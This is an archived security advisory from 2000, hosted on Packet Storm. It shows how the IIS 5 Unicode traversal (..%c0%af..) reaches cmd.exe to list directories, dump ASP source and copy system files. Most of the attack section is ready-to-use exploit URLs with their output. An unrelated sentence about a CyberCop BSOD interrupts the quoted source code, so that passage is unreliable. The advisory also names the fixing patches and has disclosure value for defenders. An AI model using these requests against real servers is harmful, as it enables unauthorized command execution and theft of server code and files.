never stop questioning

iis.asp.txt

iis.asp.txt
Posted Oct 24, 2000
Site videotron.ca

How to read ASP source code on an IIS 5 server using the recently discovered IIS vulnerability.

tags | exploit, asp
MD5 | 4fcd9732749541f1e336ff99602d743b

iis.asp.txt

Change Mirror Download
______________________________________________________________________
NtWaK0
Bug / Security / Advisory
Saturday, October 21, 2000
IIS 5 and using ..%c0%af../winnt/system32/cmd.exe?/c+type+c:
To Read any ASP source Code of the server
______________________________________________________________________

o Synopsis

Based on http://www.wiretrip.net/rfp/p/doc.asp?id=57&iface=2

I done some research and found that that ..%c0%af.. can be used to do
more then just directory Listing :)

RISK FACTOR: HIGH
______________________________________________________________________

o Vulnerable Systems

IIS 5.0 maybe IIS 4 I did not check it
______________________________________________________________________

o Vulnerability Information

Well what i have tried is Reading ASP source code and i was able to
using this syntax :
http://IPADDRESSTESTED/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\i
netpub\wwwroot\home\*.*
http://IPADDRESSTESTED/scripts/..%c0%af../winnt/system32/cmd.exe?/c+type+c:\
inetpub\wwwroot\home\default.asp

And sure here is the source code:

Dim sServerName, sLocalAddress, sRemoteAddress
sServerName = Request.ServerVariables("SERVER_NAME")
sLocalAddress = Request.ServerVariables("LOCAL_ADDR")
sRemoteAddress = Request.ServerVariables("REMOTE_ADDR") %>

An implementation flaw in cybercop engine allows a local Blue Screen
of Death (BSOD) on NT 4.0 (Sp6a + All Hot Fixes Installed).

Now let us do more stuff, you can save a file example
http://IPADDRESSTESTED/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\b
oot.ini
so you will get promted if you wana save the file or open it

Next I done
http://IPADDRESSTESTED/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+c:\
boot.ini+c:\bobo.ini

that gave me different error ...

CGI Error
The specified CGI application misbehaved by not returning a complete set of
HTTP headers. The headers it did return are:
c:\boot.ini
The system cannot find the file specified.
0 file(s) copied.

Hrm interresting and the file is located in c:\boot.ini :)


At this point i stoped working on that and sure you can do more then DIR
LISTING

______________________________________________________________________
o Resolution

Microsoft has released MS00-078 to warn of the problem. The patch from
MS00-057 ("File permission canonicalization") fixes this problem
______________________________________________________________________
o Credits
The discovery of this vulnerability was conducted by Par Osterberg
some other reasearch was done by rain forest puppy and some by NtWaK0
______________________________________________________________________


______________________________________________________________________
The only secure computer is one that's unplugged, locked in a safe,
and buried 20 feet under the ground in a secret location... and i'm
not even too sure about that one"--Dennis Huges, FBI.
____________________________________________________________._________
Live Well Do Good |
Accept no limitations \(|)/
--(")--
/`\ NtWaK0

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close